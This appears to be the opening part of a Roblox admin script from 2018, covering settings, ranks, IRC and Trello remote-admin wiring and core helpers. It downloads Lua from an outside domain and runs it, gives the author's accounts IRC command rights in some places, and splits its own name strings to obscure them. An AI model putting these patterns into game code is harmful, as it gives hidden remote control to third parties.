· 8 years ago · Aug 06, 2018, 01:44 AM
1-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
2
3
4local Settings = {
5 Ranks = {
6 ["Owner"] = {};
7 ["Admin"] = {};
8 ["Member"] = {};
9 ["Banned"] = {};
10 ["Crashed"] = {};
11 ["Muted"] = {};
12 };
13
14 Prefix = ";";
15 Bet = " ";
16 MinimumAge = 0;
17 ServerLocked = false;
18 ColorScheme = "White";
19 TransparencyScheme = 50;
20 Fun = true;
21 EnableAdminMenu = true;
22 EnableTaskBar = true;
23 FreeAdmin = false;
24 Font = "Arial";
25
26 DisableAbuse = false;
27 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
28 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
29
30 LinkedAccount = "";
31 DataKey = "";
32
33 ExecuteNotificationSound = 0; --177578949
34 EnableSounds = true;
35
36 VIPMemberID = 0;
37 VIPAdminID = 0;
38
39 GroupID = 0;
40 GroupBanRank = 0;
41 GroupMemberRank = 0;
42 GroupAdminRank = 0;
43 GroupOwnerRank = 0;
44 GroupRankBan = 0;
45 BannedGroupIDs = {};
46
47 IRCServer = "";
48 IRCChannel = "";
49 IRCCommandExecuters = {};
50
51 TrelloToken = ""
52}
53
54local Colors = {
55 ["WHITE"] = Color3.new(1,1,1);
56 ["BLACK"] = Color3.new(0,0,0);
57 ["GRAY"] = Color3.new(0.5,0.5,0.5);
58 ["RED"] = Color3.new(1,0,0);
59 ["GREEN"] = Color3.new(0,1,0);
60 ["BLUE"] = Color3.new(0,0,1);
61 ["YELLOW"] = Color3.new(1,1,0);
62 ["PINK"] = Color3.new(1,0,1);
63 ["MAGENTA"] = Color3.new(1,0,1);
64 ["CYAN"] = BrickColor.new("Cyan").Color;
65 ["TEAL"] = BrickColor.new("Teal").Color;
66 ["BROWN"] = Color3.new(0.55,0.25,0.075);
67 ["PURPLE"] = Color3.new(0.5,0,0.5);
68 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
69}
70
71local Server = {
72 Workspace = game:GetService("Workspace");
73 Players = game:GetService("Players");
74 Lighting = game:GetService("Lighting");
75 MPS = game:GetService("MarketplaceService");
76 TS = game:GetService("TeleportService");
77 HS = game:GetService("HttpService");
78 RS = game:GetService("RunService");
79 PS = game:GetService("PointsService");
80 TestS = game:GetService("TestService");
81 IS = game:GetService("InsertService");
82 Teams = game:GetService("Teams");
83 Data = game:GetService("DataStoreService");
84 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
85 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
86 Storage = game:GetService("ServerStorage");
87 RS = game:GetService("ReplicatedStorage");
88 AS = game:GetService("AssetService");
89}
90
91local Icons = {
92 ["Message"] = 7724351;
93 ["Error"] = 94011556;
94 ["Information"] = 144175130;
95 ["Check"] = 132769976;
96 ["Search"] = 61994930;
97 ["Time"] = 136391033;
98 ["Notice"] = 156507320;
99 ["Sound"] = 164682936;
100 ["Log"] = 70650545;
101 ["Question"] = 41363872;
102 ["Output"] = 11481605;
103 ["Admin"] = 302470270;
104 ["Lock"] = 11341626;
105 ["Settings"] = 131064748;
106 ["Map"] = 257119661;
107 ["Plugin"] = 257097414;
108}
109
110local IRC = {
111 Codes = {
112 ["001"] = "RPL_WELCOME",
113 ["002"] = "RPL_YOURHOST",
114 ["003"] = "RPL_CREATED",
115 ["004"] = "RPL_MYINFO",
116 ["005"] = "RPL_ISUPPORT",
117 ["250"] = "RPL_STATSCONN",
118 ["251"] = "RPL_LUSERCLIENT",
119 ["252"] = "RPL_LUSEROP",
120 ["254"] = "RPL_LUSERCHANNELS",
121 ["255"] = "RPL_LUSERME",
122 ["265"] = "RPL_LOCALUSERS",
123 ["266"] = "RPL_GLOBALUSERS",
124 ["352"] = "RPL_WHOREPLY",
125 ["371"] = "RPL_INFO",
126 ["372"] = "RPL_MOTD",
127 ["374"] = "RPL_ENDINFO",
128 ["375"] = "RPL_MOTDSTART",
129 ["376"] = "RPL_ENDOFMOTD",
130 ["422"] = "ERR_NOMOTD",
131 },
132 Ignore = {
133 ["004"] = true,
134 ["005"] = true,
135 };
136 Users = {};
137 Logs = {};
138 Chats = {};
139 Forms = {};
140 MessageAdded = Instance.new("BindableEvent");
141
142 Servers = {
143 ["esper.net"] = {
144 BaseUrl = "http://webchat.esper.net/";
145 DynamicUrl = "";
146 };
147 ["quakenet.org"] = {
148 BaseUrl = "http://webchat.quakenet.org/";
149 DynamicUrl = "dynamic/leibniz",
150 };
151 ["swiftirc.net"] = {
152 BaseUrl = "http://qwebirc.swiftirc.net/";
153 DynamicUrl = "",
154 };
155 };
156 NickName = "rbxMMLV3_"..math.random(1,100000);
157
158 SessionCounter = 0;
159 Connected = false;
160 Stop = false;
161 SessionID = "";
162}
163
164local RankHUD = {
165 ["Muted"] = 202180094;
166 ["Non-Admin"] = 202180121;
167 ["Member"] = 202180052;
168 ["Admin"] = 202180015;
169 ["Owner"] = 202179988;
170}
171
172local TextConverter = {
173 LetterSounds = {
174 ["a"] = {223757826, nil}; -- 203343899
175 ["b"] = {223533700, 0.2}; -- 203344029
176 ["c"] = {223533711, nil}; -- 203343994
177 ["d"] = {223757910, nil}; -- 203398237
178 ["e"] = {223758026, nil}; -- 203398295
179 ["f"] = {223777655, nil}; -- 203398347
180 ["g"] = {223777738, nil}; -- 203398372
181 ["h"] = {223777757, nil}; -- 203398397
182 ["i"] = {223777807, nil}; -- 203398422
183 ["j"] = {223782888, nil}; -- 203398450
184 ["k"] = {223533711, nil}; -- 203343994
185 ["l"] = {223782961, 0.4}; -- 203398541
186 ["m"] = {223782992, nil}; -- 203398578
187 ["n"] = {223783063, nil}; -- 203398599
188 ["o"] = {223783184, nil}; -- 203398611
189 ["p"] = {223783235, nil}; -- 203398727
190 ["q"] = {223783260, nil}; -- 203398755
191 ["r"] = {223783305, 0.2}; -- 203398792
192 ["s"] = {223783377, nil}; -- 203398806
193 ["t"] = {223783446, nil}; -- 203398850
194 ["u"] = {223783512, nil}; -- 203398872
195 ["v"] = {223783654, nil}; -- 203398965
196 ["w"] = {223783697, nil}; -- 203398984
197 ["x"] = {223783796, nil}; -- 203399008
198 ["y"] = {223783853, nil}; -- 203399043
199 ["z"] = {223783893, nil}; -- 203399096
200
201 ["ch"] = {223784367, 0.3}; -- 203592149
202 ["th"] = {223788235, 0.3}; -- 203399215
203 ["sh"] = {223784505, 0.2}; -- 203399566
204 ["wh"] = {223784555, 0.3}; -- 203622828
205 ["oo"] = {223784456, 0.3}; -- 203399743
206 ["ing"] = {223784393, 0.3}; -- 203402836
207 };
208
209 LongVowels = {
210 ["a"] = {223533687, nil}; -- 203343932
211 ["e"] = {223777620, nil}; -- 203398314
212 ["i"] = {223777855, nil}; -- 203398440
213 ["o"] = {223783212, nil}; -- 203398619
214 ["u"] = {223783572, nil}; -- 203398897
215 };
216
217 Pronounce = {
218 ["0"] = "zero";
219 ["1"] = "wun";
220 ["2"] = "too";
221 ["3"] = "three";
222 ["4"] = "four";
223 ["5"] = "five";
224 ["6"] = "six";
225 ["7"] = "seven";
226 ["8"] = "eyt";
227 ["9"] = "nine";
228 ["one"] = "wun";
229 ["two"] = "too";
230 ["eight"] = "eyt";
231 ["eigh"] = "ey";
232 ["gh"] = "h";
233 ["kn"] = "n";
234 ["come"] = "cu".."m";
235 ["bye"] = "bi";
236 ["#"] = "hashtag";
237 ["@"] = "at";
238 ["&"] = "and";
239 ["*"] = "astrict";
240 ["mn"] = "m";
241 ["kn"] = "n";
242 ["ies"] = "ees";
243 };
244
245 NonEnglishRules = {
246 ["to"] = "too";
247 ["you"] = "yoo";
248 ["we"] = "wee";
249 ["are"] = "erh";
250 ["your"] = "yoor";
251 ["you're"] = "yoor";
252 ["youre"] = "yoor";
253 ["pizza"] = "peetzoh";
254 ["ok"] = "okay";
255 ["have"] = "hav";
256 ["my"] = "mi";
257 ["me"] = "mee";
258 ["u"] = "yoo";
259 ["r"] = "erh";
260 ["move"] = "moov";
261 ["dove"] = "duv";
262 ["debris"] = "debree";
263 ["do"] = "doo";
264 }
265}
266
267local HTMLDecode = {
268 ["35"] = "#";
269 ["36"] = "$";
270 ["37"] = "%%";
271 ["38"] = "*";
272 ["39"] = "'";
273 ["58"] = ":";
274 ["59"] = ";";
275 ["60"] = "<";
276 ["62"] = ">";
277}
278
279
280local Assets = {
281 Packages = {
282 [27112438] = {27112025,27112039,27112052,27112056,27112068};
283 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
284 [77518833] = {77518564,77518616,77518654,77518696,77518737};
285 [32336368] = {32336059,32336117,32336182,32336243,32336306};
286 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
287 [54116460] = {54116290,54116338,54116373,54116394,54116432};
288 [39977366] = {39976703,39976829,39976927,39977192,39977295};
289 [32357766] = {32357663,32357631,32357619,32357584,32357558};
290 [27123973] = {27121265,27121306,27121353,27121393,27121432};
291 [55717536] = {55717271,55717330,55717388,55717434,55717491};
292 [28279963] = {28279160,28279217,28279859,28279894,28279938};
293 [27403592] = {27402580,27402546,27402641,27402714,27402742};
294 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
295 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
296 [48474394] = {48474356,48474294};
297 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
298 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
299 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
300 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
301 [33378577] = {33378366,33378438,33378484,33378522,33378540};
302 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
303 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
304 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
305 [41851073] = {41850825,41850868,41850915,41851009,41850959}
306 };
307 AssetTypes = {
308 [0] = "Product";
309 [1] = "Image";
310 [2] = "T-Shirt";
311 [3] = "Audio";
312 [4] = "Mesh";
313 [5] = "Lua";
314 [6] = "HTML";
315 [7] = "Text";
316 [8] = "Hat";
317 [9] = "Place";
318 [10] = "Model";
319 [11] = "Shirt";
320 [12] = "Pants";
321 [13] = "Decal";
322 [16] = "Avatar";
323 [17] = "Head";
324 [18] = "Face";
325 [19] = "Gear";
326 [21] = "Badge";
327 [22] = "Group Emblem";
328 [24] = "Animation";
329 [25] = "Arms";
330 [26] = "Legs";
331 [27] = "Torso";
332 [28] = "Right Arm";
333 [29] = "Left Arm";
334 [30] = "Left Leg";
335 [31] = "Right Leg";
336 [32] = "Package";
337 [33] = "YouTube Video";
338 [34] = "Game Pass";
339 [38] = "Plugin";
340 [39] = "SolidModel";
341 [40] = "MeshPart";
342 [41] = "Hair Accessory";
343 [42] = "Face Accessory";
344 [43] = "Neck Accessory";
345 [44] = "Shoulder Accessory";
346 [45] = "Front Accessory";
347 [46] = "Back Accessory";
348 };
349 AccessoryTypes = {
350 ["all"] = 19;
351 ["hats"] = 9;
352 ["hair"] = 20;
353 ["face"] = 21;
354 ["neck"] = 22;
355 ["shoulder"] = 23;
356 ["front"] = 24;
357 ["back"] = 25;
358 ["waist"] = 26;
359 };
360}
361
362local CharacterCache = {
363 {"MakerModelLua", 38837082};
364 {"LuaModelMaker", 20920633};
365 {"builderman", 156};
366 {"Shedletsky", 261};
367 {"Telamon", 13645};
368 {"ROBLOX", 1};
369}
370
371local FaceCovert = {
372 Left = "xpos";
373 Right = "xneg";
374 Front = "zpos";
375 Back = "zneg";
376 Top = "ypos";
377 Bottom = "yneg";
378}
379
380local Meshes = {
381 ["crown"] = {1, 1078075};
382 ["king"] = {1, 11419761};
383 ["teapot"] = {0.03, 1029523};
384 ["apple"] = {2.5, 16190555};
385 ["potato"] = {1, 25268275};
386 ["panda"] = {0.5, 20709221};
387 ["dominus"] = {0.5, 21057410};
388 ["fedora"] = {0.75, 13640868};
389 ["noob"] = {1, 20929341};
390 ["knife"] = {0.3, 121944778};
391 ["book"] = {0.3, 1136139};
392}
393
394local NotifySounds = {
395 ["Hover"] = 223134269;
396 ["Select"] = 292141227;
397}
398
399local Trello = {
400 TrelloInfoCard = "x1rUtwEj";
401 MainBoard = {};
402 RequiredLists = {};
403 RankChecklistCache = {};
404 ToggleChecklist = nil;
405 CommandID = nil;
406 LastCommandDT = 0;
407 AdminBoardID = "577ea1b21cb7975666524f26";
408 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
409 RemoteDataCard = "dLtMo1en"
410}
411
412local ScriptBuilders = {
413 [260897989] = "MML's";
414 [21053279] = "Anti's pub";
415 [21053219] = "Anti's pri";
416 [20279777] = "Void's 1";
417 [437965235] = "Void's 2";
418 [227015991] = "Vox's";
419 [210101277] = "Master's";
420 [531937877] = "Bleu pigs";
421 [519251450] = "Game's";
422}
423
424-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
425-- Why else would I NOT have put it in a module?!?!?
426
427local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
428
429local SoundList,GlobalSoundList = {},{}
430local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
431local TempChatLogs = {}
432local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
433local NoSpeak = false
434
435local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
436local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
437
438local ChatLogs,CommandLogs = {},{}
439local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
440local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
441local Dispose,Jails,PermCommandBars = {},{},{}
442local Waypoints = {["Center"] = Vector3.new(0,0,0)}
443local Objects = {}
444local Sound = nil
445local ModLighting = false
446local DataReady = true
447local RemoteAbuseGear = {}
448
449local GameOwner = "[ Client ]"
450local PlaceName = "Unknown"
451local PlaceInfo = {}
452local IsStudio = false
453local IsSB = false
454local Date = nil
455local Fonts = {}
456local PendingRequests = {}
457local F3X = script:FindFirstChild("F3X Tools")
458local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
459local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
460local KeyBinds = {}
461local Crowns = {}
462local LastKeys = {}
463local Cars = {}
464local StringReplacements = {}
465local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
466local NoBet = {"/", "-", "(", ")", ""}
467local ShouldFilter = true
468
469local CrownStorage = script:FindFirstChild("CrownStorage")
470if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
471
472-- import old settings just in case --
473local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
474if OldSettings then
475 OldSettings = require(OldSettings)
476
477 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
478 Settings[ValName] = OldSettings[ValName]
479 end
480 Settings.GroupBanRank = OldSettings.RankBan
481 Settings.Fun = OldSettings.FUN
482end
483
484if F3X then
485 F3X = F3X:Clone()
486 F3X.Handle.Anchored = false
487 script:FindFirstChild("F3X Tools"):Destroy()
488end
489
490wait(0.1)
491
492local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
493-- tries to defualt to server storage, just in case an exploiter makes their own settings.
494
495if SettingsValues then
496 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
497 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
498 for _,Value in pairs(SettingsValues:GetChildren()) do
499 if Settings[Value.Name] ~= nil then
500 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
501 for _,NewValue in pairs(Value:GetChildren()) do
502 if ypcall(function() return NewValue.Value end) then
503 if Settings[Value.Name][NewValue.Name] then
504 local Val = NewValue.Value
505 if type(Settings[Value.Name][NewValue.Name]) == "table" then
506 Val = {}
507 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
508 table.insert(Val, Word)
509 end
510 end
511 Settings[Value.Name][NewValue.Name] = Val
512 end
513 end
514 end
515 else
516 if Settings[Value.Name] ~= nil then
517 local Val = Value.Value
518 if type(Settings[Value.Name]) == "table" then
519 Val = {}
520 for Word in string.gmatch(Value.Value, "%w+") do
521 table.insert(Val, Word)
522 end
523 end
524 Settings[Value.Name] = Val
525 end
526 end
527 end
528 end
529 end
530end
531
532if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
533 Settings.LinkedAccount = ""
534elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
535 Settings.LinkedAccount = "Admin"
536end
537
538local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
539local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
540
541wait(1)
542
543local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
544
545if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
546
547if not IsStudio then
548 Server.NS = game:GetService("NetworkServer")
549 script.Name = "Maker".."Mo".."delLua's Admin"
550end
551
552if game.PlaceId > 0 then
553 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
554 PlaceName = PlaceInfo.Name
555end
556
557local function GetGameOwner()
558 if PlaceInfo.Creator.CreatorType == "Group" then
559 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
560 print("MML's Admin: Found group owner for game: "..GameOwner)
561 elseif PlaceInfo.Creator.CreatorType == "User" then
562 GameOwner = PlaceInfo.Creator.Name
563 print("MML's Admin: Found game owner: "..GameOwner)
564 else
565 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
566 end
567end
568
569if string.byte(string.sub(PlaceName,1,1)) == 226 then
570 PlaceName = string.sub(PlaceName,4,#PlaceName)
571end
572for i = 1,5 do
573 if GameOwner == "[ Client ]" then
574 print("MML's Admin: Attempting to establish owner's name #"..i)
575 GetGameOwner()
576 wait(1)
577 end
578end
579
580if ScriptBuilders[PlaceID] or NLS then
581 IsSB = true
582end
583
584if IsSB then
585 ShouldFilter = false
586 Settings.IRCServer = "swiftirc.net";
587 Settings.IRCChannel = "#PkamaraSB";
588 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
589 if Settings.TrelloToken == "" then
590 Settings.LinkedAccount = "ScriptBuilder"
591 end
592 if Settings.DataKey == "" then coroutine.wrap(function()
593 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
594 local Key = Server.Storage:FindFirstChild("MML DataKey")
595 print("Found key: "..Key.Value)
596 Settings.DataKey = Key.Value
597 Key:Destroy()
598 end)() end
599end
600local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
601table.insert(Settings.Ranks["Owner"], GameOwner)
602
603for _,Font in pairs(Enum.Font:GetEnumItems()) do
604 Fonts[Font.Name] = Font
605end
606
607local LogClient = script:FindFirstChild("AddClientInfo")
608if LogClient then LogClient:Destroy() end
609LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
610LogClient.OnServerInvoke = function(Player, Info)
611 if Info then
612 for Key,Data in pairs(Info) do
613 ClientInfo[Player.Name][Key] = Data
614 end
615 end
616end
617
618local function MakeFunction(Type, Name)
619 local Func = script:FindFirstChild(Name)
620 if Func then Func:Destroy() end
621 Func = Instance.new(Type, script) Func.Name = Name
622
623 getfenv()[Name] = Func
624 return Func
625end
626
627MakeFunction("BindableFunction", "ExecuteCommand")
628MakeFunction("RemoteFunction", "ExecuteCommandClient")
629MakeFunction("BindableFunction", "ExecuteCode")
630
631MakeFunction("RemoteFunction", "IsAdmin")
632MakeFunction("RemoteFunction", "AddExploit")
633MakeFunction("BindableFunction", "AddExploitServer")
634MakeFunction("RemoteFunction", "KickClient")
635MakeFunction("RemoteFunction", "ConvertTextToSound")
636
637MakeFunction("RemoteFunction", "KeyPressed")
638MakeFunction("RemoteFunction", "InputKey")
639
640MakeFunction("RemoteFunction", "RankPlayerLocal")
641MakeFunction("BindableFunction", "RankPlayerServer")
642
643--[[
644if NLS then
645 local Value = script:FindFirstChild("Override")
646 LogClient.Parent = game
647 if not Value then
648 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
649 local CloneScript = script:Clone()
650 CloneScript.Disabled = true
651 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
652 CloneScript.Disabled = false
653 CloneScript.Parent = nil
654
655 script:Destroy() script.Disabled = true
656 end
657end
658]]
659
660if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
661
662IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
663
664-- Core functions --
665
666function CORE:FixSettings()
667 for _,Bet in pairs(NoBet) do
668 if Settings.Bet == Bet then
669 Settings.Bet = " "
670 break
671 end
672 end
673 CORE:ChangeBet(Settings.Bet)
674
675 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
676 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
677
678 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
679 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
680 Settings.TransparencyScheme = Settings.TransparencyScheme/100
681
682 if not Fonts[Settings.Font] then
683 Settings.Font = "Arial"
684 end
685end
686
687function CORE:NilPlayer(Player)
688 if Player == nil or type(Player) == "table" then return true else return false end
689end
690
691function CORE:ExecuteResource(ResourceName, Parent, Data)
692 local ReturnScript = nil
693 local Executed = true
694 if script:FindFirstChild("Resources") then
695 local RawResource = script.Resources:FindFirstChild(ResourceName)
696 if RawResource then
697 local Resource = RawResource:Clone()
698 Resource.Disabled = true
699 Resource.Parent = Parent
700 if Data then
701 for Key,Value in pairs(Data) do
702 if Resource[Key] then
703 Resource[Key].Value = Value
704 end
705 end
706 end
707 wait()
708 Resource.Disabled = false
709 ReturnScript = Resource
710 else
711 Executed = false
712 end
713 else
714 Executed = false
715 end
716 if Executed == false then
717 if not Data then Data = {} end
718 local Source = ScriptCache[ResourceName]
719
720 if not Source then
721 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
722 if Source then
723 ScriptCache[ResourceName] = Source
724 end
725 end
726
727 if Data and Source then
728 for Key,Value in pairs(Data) do
729 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
730 end
731 end
732
733 if Source then
734 if NLS then
735 ReturnScript = NLS(Source, Parent)
736 elseif createLocalScriptWithSource then
737 ReturnScript = createLocalScriptWithSource(Source)
738 ReturnScript.Parent = Parent
739 end
740 end
741 end
742 return ReturnScript
743end
744
745function CORE:CreateRemotePropertyReader(Obj, Override)
746 if Server.Workspace.FilteringEnabled == true or Override then
747 local Reader = Instance.new("RemoteFunction", Obj)
748 Reader.Name = "RemotePropertyReader"
749 CORE:ExecuteResource("RemotePropertyReader", Reader)
750 return Reader
751 else
752 return Obj
753 end
754end
755
756function CORE:ReadProperty(Reader, Player, Property)
757 if Reader:IsA("RemoteFunction") then
758 return Reader:InvokeClient(Player, Property)
759 else
760 return Reader[Property]
761 end
762end
763
764function CORE:WriteProperty(Reader, Player, Property, Value)
765 if Reader:IsA("RemoteFunction") then
766 return Reader:InvokeClient(Player, Property, Value)
767 else
768 return Reader[Property]
769 end
770end
771
772
773function CORE:CreateRemoteEvent(Obj, EventName)
774 local Event = Instance.new("RemoteEvent", Obj)
775 Event.Name = "RemoteEvent_"..EventName
776 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
777 return Event
778end
779
780function CORE:HandleEvent(Obj, EventName, Func, NewThread)
781 local function Handle()
782 if Server.Workspace.FilteringEnabled == true then
783 local Event = CORE:CreateRemoteEvent(Obj, EventName)
784 return Event.OnServerEvent:connect(function(Player, ...)
785 Func(...)
786 end)
787 else
788 return Obj[EventName]:connect(Func)
789 end
790 end
791 if NewThread then
792 Spawn(Handle)
793 else
794 Handle()
795 end
796end
797
798function CORE:HandleError(Error, Speaker)
799 local Return = ""
800 if not Error or Error == "" then
801 Return = "Unknown Error"
802 else
803 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
804 end
805 if Speaker then
806 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
807 end
808 return Return
809end
810
811local function ExecuteSafe(Source, Speaker) -- no CORE
812 local Script, Error = loadstring(Source)
813 if Error then
814 return false, CORE:HandleError(Error, Speaker)
815 else
816 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
817 getfenv(Script).Server, getfenv(Script).script = Server,script
818 if Speaker then
819 getfenv(Script).print = function(...)
820 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
821 end
822 getfenv(Script).print_array = function(List)
823 if type(List) == "table" then
824 GUI:ListGui(Speaker, "Listed Table", List, "Output")
825 end
826 end
827 end
828
829 local Suc, Error = ypcall(coroutine.wrap(Script))
830
831 if not Suc then
832 Error = CORE:HandleError(Error, Speaker)
833 end
834
835 return Suc,Error
836 end
837end
838
839function CORE:GetTime(Regular, FullDate)
840 if Regular == nil then Regular = true end
841 local Meridiem = ""
842 if Regular == true then Meridiem = " AM" end
843 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
844 local Hour = math.floor(SecondsOfToday / (60*60))
845 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
846 local Second = math.floor(math.fmod(SecondsOfToday, 60))
847 if Hour > 12 and Regular == true then
848 Hour = Hour - 12
849 Meridiem = " PM"
850 end
851 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
852 if #Hour <= 1 then Hour = "0"..Hour end
853 if #Minute <= 1 then Minute = "0"..Minute end
854 if #Second <= 1 then Second = "0"..Second end
855 local Return = Hour..":"..Minute..":"..Second..Meridiem
856 if FullDate == true and Date then Return = Date.." "..Return end
857 return Return
858end
859
860function CORE:RemoveAdmin(Speaker)
861 local Answer = true -- false
862 if not CORE:NilPlayer(Speaker) then
863 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
864 end
865 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
866 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
867 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
868 for _,Item in pairs(Player:GetChildren()) do
869 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
870 Item:Destroy()
871 end
872 end
873 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
874 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
875 GUI:Destroy()
876 end
877 end
878 end end
879 for _,Car in pairs(Cars) do
880 Car:Destroy()
881 end
882 CORE:FixLighting()
883 while wait() do
884 if script:FindFirstChild("Override") then script.Override.Value = true end
885 Settings,CORE,IRC = nil,{},{}
886 if Sound then Sound:Stop() end
887 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
888 script:ClearAllChildren() script:Destroy() script.Disabled = true
889 end
890 end
891end
892
893function CORE:MakeBase()
894 for _,Get in pairs(Workspace:GetChildren()) do
895 if Get.Name == "Base" or Get.Name == "BasePlate" then
896 Get:Destroy()
897 end
898 end
899 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
900end
901
